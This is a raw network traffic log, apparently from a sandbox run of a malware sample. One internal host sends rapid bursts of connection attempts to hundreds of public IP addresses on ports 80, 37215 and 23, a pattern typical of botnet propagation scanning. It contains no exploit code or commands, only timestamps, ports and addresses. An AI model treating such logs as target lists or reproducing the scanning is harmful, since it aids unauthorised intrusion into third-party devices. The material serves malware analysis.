Dec 3, 2024 22:02:06.338166952 CET	39296	80	192.168.2.14	90.123.190.7
Dec 3, 2024 22:02:06.338167906 CET	39296	80	192.168.2.14	50.56.221.254
Dec 3, 2024 22:02:06.338172913 CET	39296	80	192.168.2.14	12.221.239.125
Dec 3, 2024 22:02:06.338181019 CET	39296	80	192.168.2.14	23.211.197.61
Dec 3, 2024 22:02:06.338182926 CET	39296	80	192.168.2.14	48.252.168.205
Dec 3, 2024 22:02:06.338196993 CET	39296	80	192.168.2.14	106.40.122.151
Dec 3, 2024 22:02:06.338200092 CET	39296	80	192.168.2.14	146.42.88.211
Dec 3, 2024 22:02:06.338201046 CET	39296	80	192.168.2.14	18.161.67.177
Dec 3, 2024 22:02:06.338213921 CET	39296	80	192.168.2.14	152.173.153.64
Dec 3, 2024 22:02:06.338216066 CET	39296	80	192.168.2.14	5.185.199.252
Dec 3, 2024 22:02:06.338226080 CET	39296	80	192.168.2.14	205.134.226.77
Dec 3, 2024 22:02:06.338233948 CET	39296	80	192.168.2.14	88.23.177.253
Dec 3, 2024 22:02:06.338233948 CET	39296	80	192.168.2.14	165.184.177.156
Dec 3, 2024 22:02:06.338238955 CET	39296	80	192.168.2.14	124.156.76.36
Dec 3, 2024 22:02:06.338243961 CET	39296	80	192.168.2.14	195.66.217.180
Dec 3, 2024 22:02:06.338249922 CET	39296	80	192.168.2.14	157.188.30.136
Dec 3, 2024 22:02:06.338253975 CET	39296	80	192.168.2.14	132.127.159.203
Dec 3, 2024 22:02:06.338258028 CET	39296	80	192.168.2.14	117.39.80.240
Dec 3, 2024 22:02:06.338259935 CET	39296	80	192.168.2.14	218.243.254.70
Dec 3, 2024 22:02:06.338260889 CET	39296	80	192.168.2.14	129.224.230.139
Dec 3, 2024 22:02:06.338262081 CET	39296	80	192.168.2.14	131.221.215.181
Dec 3, 2024 22:02:06.338265896 CET	39296	80	192.168.2.14	195.76.222.124
Dec 3, 2024 22:02:06.338265896 CET	39296	80	192.168.2.14	202.73.211.48
Dec 3, 2024 22:02:06.338280916 CET	39296	80	192.168.2.14	197.210.222.229
Dec 3, 2024 22:02:06.338284016 CET	39296	80	192.168.2.14	9.209.131.153
Dec 3, 2024 22:02:06.338284016 CET	39296	80	192.168.2.14	66.93.166.218
Dec 3, 2024 22:02:06.338280916 CET	39296	80	192.168.2.14	163.88.89.63
Dec 3, 2024 22:02:06.338293076 CET	39296	80	192.168.2.14	150.148.150.224
Dec 3, 2024 22:02:06.338309050 CET	39296	80	192.168.2.14	144.254.40.58
Dec 3, 2024 22:02:06.338309050 CET	39296	80	192.168.2.14	201.84.149.52
Dec 3, 2024 22:02:06.338311911 CET	39296	80	192.168.2.14	4.57.126.204
Dec 3, 2024 22:02:06.338313103 CET	39296	80	192.168.2.14	25.23.9.74
Dec 3, 2024 22:02:06.338313103 CET	39296	80	192.168.2.14	103.193.195.219
Dec 3, 2024 22:02:06.338316917 CET	39296	80	192.168.2.14	185.146.159.221
Dec 3, 2024 22:02:06.338316917 CET	39296	80	192.168.2.14	111.205.230.237
Dec 3, 2024 22:02:06.338334084 CET	39296	80	192.168.2.14	218.163.44.68
Dec 3, 2024 22:02:06.338349104 CET	39296	80	192.168.2.14	153.210.48.168
Dec 3, 2024 22:02:06.338349104 CET	39296	80	192.168.2.14	160.255.125.152
Dec 3, 2024 22:02:06.338351011 CET	39296	80	192.168.2.14	31.150.75.179
Dec 3, 2024 22:02:06.338351965 CET	39296	80	192.168.2.14	128.85.22.25
Dec 3, 2024 22:02:06.338351011 CET	39296	80	192.168.2.14	199.19.46.217
Dec 3, 2024 22:02:06.338351011 CET	39296	80	192.168.2.14	216.5.107.162
Dec 3, 2024 22:02:06.338363886 CET	39296	80	192.168.2.14	25.203.122.70
Dec 3, 2024 22:02:06.338366985 CET	39296	80	192.168.2.14	186.158.184.241
Dec 3, 2024 22:02:06.338371992 CET	39296	80	192.168.2.14	85.160.72.61
Dec 3, 2024 22:02:06.338382006 CET	39296	80	192.168.2.14	52.97.101.213
Dec 3, 2024 22:02:06.338383913 CET	39296	80	192.168.2.14	110.73.191.212
Dec 3, 2024 22:02:06.338398933 CET	39296	80	192.168.2.14	46.203.171.203
Dec 3, 2024 22:02:06.338399887 CET	39296	80	192.168.2.14	112.152.111.144
Dec 3, 2024 22:02:06.338399887 CET	39296	80	192.168.2.14	144.51.25.40
Dec 3, 2024 22:02:06.338402033 CET	39296	80	192.168.2.14	106.160.55.205
Dec 3, 2024 22:02:06.338402033 CET	39296	80	192.168.2.14	125.132.207.126
Dec 3, 2024 22:02:06.338416100 CET	39296	80	192.168.2.14	154.90.201.118
Dec 3, 2024 22:02:06.338422060 CET	39296	80	192.168.2.14	216.200.7.159
Dec 3, 2024 22:02:06.338438034 CET	39296	80	192.168.2.14	152.2.252.25
Dec 3, 2024 22:02:06.338438034 CET	39296	80	192.168.2.14	50.125.235.233
Dec 3, 2024 22:02:06.338438988 CET	39296	80	192.168.2.14	173.155.128.41
Dec 3, 2024 22:02:06.338438988 CET	39296	80	192.168.2.14	86.187.41.143
Dec 3, 2024 22:02:06.338439941 CET	39296	80	192.168.2.14	34.141.121.186
Dec 3, 2024 22:02:06.338440895 CET	39296	80	192.168.2.14	102.113.20.39
Dec 3, 2024 22:02:06.338457108 CET	39296	80	192.168.2.14	121.158.81.87
Dec 3, 2024 22:02:06.338457108 CET	39296	80	192.168.2.14	126.197.98.88
Dec 3, 2024 22:02:06.338459969 CET	39296	80	192.168.2.14	39.211.73.21
Dec 3, 2024 22:02:06.338473082 CET	39296	80	192.168.2.14	41.185.11.88
Dec 3, 2024 22:02:06.338475943 CET	39296	80	192.168.2.14	39.198.140.14
Dec 3, 2024 22:02:06.338485956 CET	39296	80	192.168.2.14	70.104.197.17
Dec 3, 2024 22:02:06.338491917 CET	39296	80	192.168.2.14	43.140.31.9
Dec 3, 2024 22:02:06.338494062 CET	39296	80	192.168.2.14	91.48.110.53
Dec 3, 2024 22:02:06.338506937 CET	39296	80	192.168.2.14	8.211.6.247
Dec 3, 2024 22:02:06.338507891 CET	39296	80	192.168.2.14	20.117.152.35
Dec 3, 2024 22:02:06.338507891 CET	39296	80	192.168.2.14	69.124.238.139
Dec 3, 2024 22:02:06.338509083 CET	39296	80	192.168.2.14	103.118.180.78
Dec 3, 2024 22:02:06.338515997 CET	39296	80	192.168.2.14	74.16.116.158
Dec 3, 2024 22:02:06.338519096 CET	39296	80	192.168.2.14	145.200.92.60
Dec 3, 2024 22:02:06.338520050 CET	39296	80	192.168.2.14	95.197.185.33
Dec 3, 2024 22:02:06.338519096 CET	39296	80	192.168.2.14	198.83.105.95
Dec 3, 2024 22:02:06.338521004 CET	39296	80	192.168.2.14	85.51.116.32
Dec 3, 2024 22:02:06.338529110 CET	39296	80	192.168.2.14	181.127.67.232
Dec 3, 2024 22:02:06.338546038 CET	39296	80	192.168.2.14	81.202.92.153
Dec 3, 2024 22:02:06.338546038 CET	39296	80	192.168.2.14	167.191.17.186
Dec 3, 2024 22:02:06.338546991 CET	39296	80	192.168.2.14	35.41.129.251
Dec 3, 2024 22:02:06.338551998 CET	39296	80	192.168.2.14	151.61.117.99
Dec 3, 2024 22:02:06.338546991 CET	39296	80	192.168.2.14	123.91.94.147
Dec 3, 2024 22:02:06.338557005 CET	39296	80	192.168.2.14	132.19.224.29
Dec 3, 2024 22:02:06.338557959 CET	39296	80	192.168.2.14	76.118.138.56
Dec 3, 2024 22:02:06.338561058 CET	39296	80	192.168.2.14	89.150.206.212
Dec 3, 2024 22:02:06.338577986 CET	39296	80	192.168.2.14	168.65.60.26
Dec 3, 2024 22:02:06.338578939 CET	39296	80	192.168.2.14	45.13.92.255
Dec 3, 2024 22:02:06.338577986 CET	39296	80	192.168.2.14	143.196.254.13
Dec 3, 2024 22:02:06.338596106 CET	39296	80	192.168.2.14	213.176.172.16
Dec 3, 2024 22:02:06.338597059 CET	39296	80	192.168.2.14	58.12.35.255
Dec 3, 2024 22:02:06.338596106 CET	39296	80	192.168.2.14	118.0.214.178
Dec 3, 2024 22:02:06.338608027 CET	39296	80	192.168.2.14	159.210.175.210
Dec 3, 2024 22:02:06.338615894 CET	39296	80	192.168.2.14	144.188.203.112
Dec 3, 2024 22:02:06.338617086 CET	39296	80	192.168.2.14	144.119.103.187
Dec 3, 2024 22:02:06.338617086 CET	39296	80	192.168.2.14	166.9.50.201
Dec 3, 2024 22:02:06.338629961 CET	39296	80	192.168.2.14	88.50.224.221
Dec 3, 2024 22:02:06.338632107 CET	39296	80	192.168.2.14	102.54.200.132
Dec 3, 2024 22:02:06.338634014 CET	39296	80	192.168.2.14	100.200.154.185
Dec 3, 2024 22:02:06.338645935 CET	39296	80	192.168.2.14	200.95.62.210
Dec 3, 2024 22:02:06.338649035 CET	39296	80	192.168.2.14	210.101.88.122
Dec 3, 2024 22:02:06.338649988 CET	39296	80	192.168.2.14	111.218.44.76
Dec 3, 2024 22:02:06.338649988 CET	39296	80	192.168.2.14	126.147.137.180
Dec 3, 2024 22:02:06.338651896 CET	39296	80	192.168.2.14	2.66.221.146
Dec 3, 2024 22:02:06.338668108 CET	39296	80	192.168.2.14	69.3.148.241
Dec 3, 2024 22:02:06.338669062 CET	39296	80	192.168.2.14	36.215.177.113
Dec 3, 2024 22:02:06.338674068 CET	39296	80	192.168.2.14	71.94.6.37
Dec 3, 2024 22:02:06.338687897 CET	39296	80	192.168.2.14	46.22.182.217
Dec 3, 2024 22:02:06.338689089 CET	39296	80	192.168.2.14	4.145.250.218
Dec 3, 2024 22:02:06.338689089 CET	39296	80	192.168.2.14	172.220.18.125
Dec 3, 2024 22:02:06.338690996 CET	39296	80	192.168.2.14	103.57.14.103
Dec 3, 2024 22:02:06.338701963 CET	39296	80	192.168.2.14	128.80.218.82
Dec 3, 2024 22:02:06.338709116 CET	39296	80	192.168.2.14	113.183.61.49
Dec 3, 2024 22:02:06.338715076 CET	39296	80	192.168.2.14	184.143.58.204
Dec 3, 2024 22:02:06.338731050 CET	39296	80	192.168.2.14	119.1.199.77
Dec 3, 2024 22:02:06.338732004 CET	39296	80	192.168.2.14	164.40.78.68
Dec 3, 2024 22:02:06.338732004 CET	39296	80	192.168.2.14	166.185.253.204
Dec 3, 2024 22:02:06.338740110 CET	39296	80	192.168.2.14	70.81.245.100
Dec 3, 2024 22:02:06.338742018 CET	39296	80	192.168.2.14	121.170.23.102
Dec 3, 2024 22:02:06.338762045 CET	39296	80	192.168.2.14	71.124.157.76
Dec 3, 2024 22:02:06.338763952 CET	39296	80	192.168.2.14	180.36.174.224
Dec 3, 2024 22:02:06.338766098 CET	39296	80	192.168.2.14	162.162.134.21
Dec 3, 2024 22:02:06.338779926 CET	39296	80	192.168.2.14	64.156.7.19
Dec 3, 2024 22:02:06.338782072 CET	39296	80	192.168.2.14	112.82.72.194
Dec 3, 2024 22:02:06.338783026 CET	39296	80	192.168.2.14	1.125.6.140
Dec 3, 2024 22:02:06.338783026 CET	39296	80	192.168.2.14	60.102.230.53
Dec 3, 2024 22:02:06.338790894 CET	39296	80	192.168.2.14	173.156.61.73
Dec 3, 2024 22:02:06.338800907 CET	39296	80	192.168.2.14	202.131.198.17
Dec 3, 2024 22:02:06.338804007 CET	39296	80	192.168.2.14	123.119.179.139
Dec 3, 2024 22:02:06.338804960 CET	39296	80	192.168.2.14	209.245.154.226
Dec 3, 2024 22:02:06.338814974 CET	39296	80	192.168.2.14	223.187.121.47
Dec 3, 2024 22:02:06.338821888 CET	39296	80	192.168.2.14	72.233.17.175
Dec 3, 2024 22:02:06.338835955 CET	39296	80	192.168.2.14	184.158.108.50
Dec 3, 2024 22:02:06.338840961 CET	39296	80	192.168.2.14	177.251.38.82
Dec 3, 2024 22:02:06.338843107 CET	39296	80	192.168.2.14	102.28.145.233
Dec 3, 2024 22:02:06.338846922 CET	39296	80	192.168.2.14	63.61.240.22
Dec 3, 2024 22:02:06.338855982 CET	39296	80	192.168.2.14	164.195.151.62
Dec 3, 2024 22:02:06.338857889 CET	39296	80	192.168.2.14	35.150.173.175
Dec 3, 2024 22:02:06.338871956 CET	39296	80	192.168.2.14	73.4.245.119
Dec 3, 2024 22:02:06.338872910 CET	39296	80	192.168.2.14	117.162.232.84
Dec 3, 2024 22:02:06.338885069 CET	39296	80	192.168.2.14	126.42.20.134
Dec 3, 2024 22:02:06.338888884 CET	39296	80	192.168.2.14	91.180.208.42
Dec 3, 2024 22:02:06.338893890 CET	39296	80	192.168.2.14	17.93.145.176
Dec 3, 2024 22:02:06.338905096 CET	39296	80	192.168.2.14	140.178.247.108
Dec 3, 2024 22:02:06.338911057 CET	39296	80	192.168.2.14	137.109.85.79
Dec 3, 2024 22:02:06.338920116 CET	39296	80	192.168.2.14	25.99.131.43
Dec 3, 2024 22:02:06.338920116 CET	39296	80	192.168.2.14	113.54.1.104
Dec 3, 2024 22:02:06.338921070 CET	39296	80	192.168.2.14	177.74.47.36
Dec 3, 2024 22:02:06.338922977 CET	39296	80	192.168.2.14	154.185.210.129
Dec 3, 2024 22:02:06.338931084 CET	39296	80	192.168.2.14	184.182.9.23
Dec 3, 2024 22:02:06.338943005 CET	39296	80	192.168.2.14	195.164.79.164
Dec 3, 2024 22:02:06.338944912 CET	39296	80	192.168.2.14	178.15.154.223
Dec 3, 2024 22:02:06.338953018 CET	39296	80	192.168.2.14	154.75.0.246
Dec 3, 2024 22:02:06.338953018 CET	39296	80	192.168.2.14	212.255.26.231
Dec 3, 2024 22:02:06.338953972 CET	39296	80	192.168.2.14	46.160.216.152
Dec 3, 2024 22:02:06.338958979 CET	39296	80	192.168.2.14	82.251.192.254
Dec 3, 2024 22:02:06.338960886 CET	39296	80	192.168.2.14	152.59.90.154
Dec 3, 2024 22:02:06.338963985 CET	39296	80	192.168.2.14	126.66.244.98
Dec 3, 2024 22:02:06.338969946 CET	39296	80	192.168.2.14	65.70.132.244
Dec 3, 2024 22:02:06.338979959 CET	39296	80	192.168.2.14	46.117.140.228
Dec 3, 2024 22:02:06.338983059 CET	39296	80	192.168.2.14	184.29.239.1
Dec 3, 2024 22:02:06.338987112 CET	39296	80	192.168.2.14	150.190.67.35
Dec 3, 2024 22:02:06.338987112 CET	39296	80	192.168.2.14	90.90.240.61
Dec 3, 2024 22:02:06.338999033 CET	39296	80	192.168.2.14	36.7.248.208
Dec 3, 2024 22:02:06.339001894 CET	39296	80	192.168.2.14	125.5.118.210
Dec 3, 2024 22:02:06.339008093 CET	39296	80	192.168.2.14	73.169.210.184
Dec 3, 2024 22:02:06.339015007 CET	39296	80	192.168.2.14	166.167.237.34
Dec 3, 2024 22:02:06.339020967 CET	39296	80	192.168.2.14	150.88.89.189
Dec 3, 2024 22:02:06.339030027 CET	39296	80	192.168.2.14	144.88.81.23
Dec 3, 2024 22:02:06.339030981 CET	39296	80	192.168.2.14	152.86.168.59
Dec 3, 2024 22:02:06.339035988 CET	39296	80	192.168.2.14	86.98.54.162
Dec 3, 2024 22:02:06.339037895 CET	39296	80	192.168.2.14	47.101.51.134
Dec 3, 2024 22:02:06.339052916 CET	39296	80	192.168.2.14	107.50.136.211
Dec 3, 2024 22:02:06.339052916 CET	39296	80	192.168.2.14	38.101.46.12
Dec 3, 2024 22:02:06.339059114 CET	39296	80	192.168.2.14	13.85.211.178
Dec 3, 2024 22:02:06.339059114 CET	39296	80	192.168.2.14	13.156.114.102
Dec 3, 2024 22:02:06.339072943 CET	39296	80	192.168.2.14	96.30.41.65
Dec 3, 2024 22:02:06.339076042 CET	39296	80	192.168.2.14	174.178.215.33
Dec 3, 2024 22:02:06.339077950 CET	39296	80	192.168.2.14	74.145.120.170
Dec 3, 2024 22:02:06.339090109 CET	39296	80	192.168.2.14	2.119.51.215
Dec 3, 2024 22:02:06.339093924 CET	39296	80	192.168.2.14	54.41.240.205
Dec 3, 2024 22:02:06.339112043 CET	39296	80	192.168.2.14	61.153.173.50
Dec 3, 2024 22:02:06.339112043 CET	39296	80	192.168.2.14	52.211.73.90
Dec 3, 2024 22:02:06.339112997 CET	39296	80	192.168.2.14	39.105.108.65
Dec 3, 2024 22:02:06.339112997 CET	39296	80	192.168.2.14	38.255.7.164
Dec 3, 2024 22:02:06.339128971 CET	39296	80	192.168.2.14	115.117.89.27
Dec 3, 2024 22:02:06.339133024 CET	39296	80	192.168.2.14	154.79.189.149
Dec 3, 2024 22:02:06.339262962 CET	56682	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:06.339277029 CET	43874	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:06.355159044 CET	37215	42784	41.134.26.107	192.168.2.14
Dec 3, 2024 22:02:06.355201006 CET	42784	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.355487108 CET	37215	37826	197.53.94.99	192.168.2.14
Dec 3, 2024 22:02:06.355617046 CET	37826	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.369359970 CET	80	47100	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:06.369369984 CET	80	57398	64.28.171.0	192.168.2.14
Dec 3, 2024 22:02:06.369379997 CET	80	40934	124.187.170.176	192.168.2.14
Dec 3, 2024 22:02:06.369529963 CET	47100	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:06.369529963 CET	47100	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:06.369548082 CET	57398	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:06.369548082 CET	57398	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:06.369548082 CET	40934	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:06.369548082 CET	40934	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:06.416229963 CET	37215	59044	41.78.2.17	192.168.2.14
Dec 3, 2024 22:02:06.416668892 CET	37215	59060	41.78.2.17	192.168.2.14
Dec 3, 2024 22:02:06.416804075 CET	59060	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.416804075 CET	59060	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.417191029 CET	37215	48710	41.138.94.94	192.168.2.14
Dec 3, 2024 22:02:06.417365074 CET	37215	48726	41.138.94.94	192.168.2.14
Dec 3, 2024 22:02:06.417414904 CET	48726	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.417438984 CET	48726	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.417978048 CET	37215	34884	156.23.230.128	192.168.2.14
Dec 3, 2024 22:02:06.418126106 CET	37215	34900	156.23.230.128	192.168.2.14
Dec 3, 2024 22:02:06.418165922 CET	34900	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.418179035 CET	34900	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.418632030 CET	37215	37004	156.141.3.216	192.168.2.14
Dec 3, 2024 22:02:06.418899059 CET	37215	37020	156.141.3.216	192.168.2.14
Dec 3, 2024 22:02:06.418960094 CET	37020	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.418960094 CET	37020	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.419421911 CET	37215	59304	197.31.172.17	192.168.2.14
Dec 3, 2024 22:02:06.419584990 CET	37215	59320	197.31.172.17	192.168.2.14
Dec 3, 2024 22:02:06.419625044 CET	59320	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.419646025 CET	59320	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.419971943 CET	37215	40304	41.240.12.174	192.168.2.14
Dec 3, 2024 22:02:06.457784891 CET	80	39296	166.70.87.115	192.168.2.14
Dec 3, 2024 22:02:06.457819939 CET	80	39296	4.254.111.251	192.168.2.14
Dec 3, 2024 22:02:06.457829952 CET	80	39296	206.151.4.183	192.168.2.14
Dec 3, 2024 22:02:06.457840919 CET	80	39296	12.248.200.130	192.168.2.14
Dec 3, 2024 22:02:06.457870007 CET	39296	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:06.457871914 CET	39296	80	192.168.2.14	166.70.87.115
Dec 3, 2024 22:02:06.458024025 CET	39296	80	192.168.2.14	12.248.200.130
Dec 3, 2024 22:02:06.458065987 CET	39296	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:06.458091974 CET	80	37686	46.144.210.85	192.168.2.14
Dec 3, 2024 22:02:06.458137989 CET	37686	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:06.458524942 CET	80	46776	185.188.215.253	192.168.2.14
Dec 3, 2024 22:02:06.458568096 CET	46776	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:06.459323883 CET	80	56682	93.47.55.220	192.168.2.14
Dec 3, 2024 22:02:06.459371090 CET	56682	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:06.459378004 CET	80	43874	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:06.459388018 CET	37215	37004	156.141.3.216	192.168.2.14
Dec 3, 2024 22:02:06.459397078 CET	37215	34884	156.23.230.128	192.168.2.14
Dec 3, 2024 22:02:06.459422112 CET	37215	48710	41.138.94.94	192.168.2.14
Dec 3, 2024 22:02:06.459430933 CET	37215	59044	41.78.2.17	192.168.2.14
Dec 3, 2024 22:02:06.459470987 CET	80	43874	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:06.459507942 CET	43874	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:06.463341951 CET	37215	40304	41.240.12.174	192.168.2.14
Dec 3, 2024 22:02:06.463359118 CET	37215	59304	197.31.172.17	192.168.2.14
Dec 3, 2024 22:02:06.490329027 CET	80	47100	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:06.490390062 CET	47100	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:06.490741014 CET	80	40934	124.187.170.176	192.168.2.14
Dec 3, 2024 22:02:06.490881920 CET	40934	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:06.490885973 CET	80	57398	64.28.171.0	192.168.2.14
Dec 3, 2024 22:02:06.490927935 CET	57398	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:06.537967920 CET	37215	59060	41.78.2.17	192.168.2.14
Dec 3, 2024 22:02:06.538064957 CET	59060	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.538445950 CET	37215	48726	41.138.94.94	192.168.2.14
Dec 3, 2024 22:02:06.538501978 CET	48726	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.538660049 CET	37215	34900	156.23.230.128	192.168.2.14
Dec 3, 2024 22:02:06.538702011 CET	34900	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.539283037 CET	37215	37020	156.141.3.216	192.168.2.14
Dec 3, 2024 22:02:06.539334059 CET	37020	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.539958000 CET	37215	59320	197.31.172.17	192.168.2.14
Dec 3, 2024 22:02:06.539997101 CET	59320	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:07.081422091 CET	56222	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:07.081422091 CET	43920	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:07.081427097 CET	57560	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:07.081427097 CET	49218	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:07.081427097 CET	56570	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:07.081428051 CET	34830	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:07.081429005 CET	43676	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:07.081433058 CET	54614	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:07.081433058 CET	43410	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:07.081433058 CET	59420	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:07.081434011 CET	36038	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:07.081434011 CET	44980	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:07.081439018 CET	46896	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:07.081439018 CET	55490	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:07.081439018 CET	57766	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:07.081439018 CET	39230	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:07.081439018 CET	34098	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:07.081439018 CET	39224	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:07.081439018 CET	53170	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:07.081439018 CET	50454	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:07.081439018 CET	33190	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:07.081440926 CET	46614	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:07.081444025 CET	39484	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:07.081465006 CET	60542	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:07.081487894 CET	53440	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:07.113416910 CET	38906	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:07.113416910 CET	49992	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:07.113420010 CET	45898	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:07.113420010 CET	52374	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:07.113420963 CET	48100	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:07.113420963 CET	52790	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:07.113420963 CET	45304	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:07.113420963 CET	37680	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:07.113423109 CET	43688	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:07.113423109 CET	47584	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:07.113424063 CET	52772	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:07.113465071 CET	49744	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:07.113465071 CET	60786	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:07.113465071 CET	49344	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:07.113466978 CET	56576	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:07.113468885 CET	47118	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:07.113466978 CET	42142	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:07.113466978 CET	37026	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:07.113466978 CET	58306	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:07.113471031 CET	44070	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:07.113466024 CET	44030	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:07.113466978 CET	49690	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:07.113471031 CET	38138	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:07.113466024 CET	39088	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:07.113471031 CET	48920	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:07.113472939 CET	50552	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:07.145338058 CET	55130	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:07.145344019 CET	53462	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:07.145344019 CET	56034	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:07.145356894 CET	39806	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:07.145356894 CET	43892	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:07.145359993 CET	45698	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:07.145359993 CET	34354	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:07.145359993 CET	39718	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:07.145359993 CET	51988	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:07.145360947 CET	36778	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:07.145359993 CET	50940	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:07.145361900 CET	43264	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:07.145365953 CET	33100	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:07.145365953 CET	51928	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:07.145365953 CET	50016	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:07.145365953 CET	55814	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:07.188328981 CET	39808	23	192.168.2.14	115.234.60.223
Dec 3, 2024 22:02:07.188328981 CET	39808	23	192.168.2.14	168.87.113.186
Dec 3, 2024 22:02:07.188328981 CET	39808	23	192.168.2.14	92.136.63.96
Dec 3, 2024 22:02:07.188335896 CET	39808	23	192.168.2.14	54.189.111.237
Dec 3, 2024 22:02:07.188335896 CET	39808	23	192.168.2.14	192.100.164.173
Dec 3, 2024 22:02:07.188337088 CET	39808	23	192.168.2.14	46.87.27.58
Dec 3, 2024 22:02:07.188337088 CET	39808	23	192.168.2.14	114.149.198.156
Dec 3, 2024 22:02:07.188338995 CET	39808	23	192.168.2.14	200.58.9.86
Dec 3, 2024 22:02:07.188342094 CET	39808	23	192.168.2.14	106.172.176.122
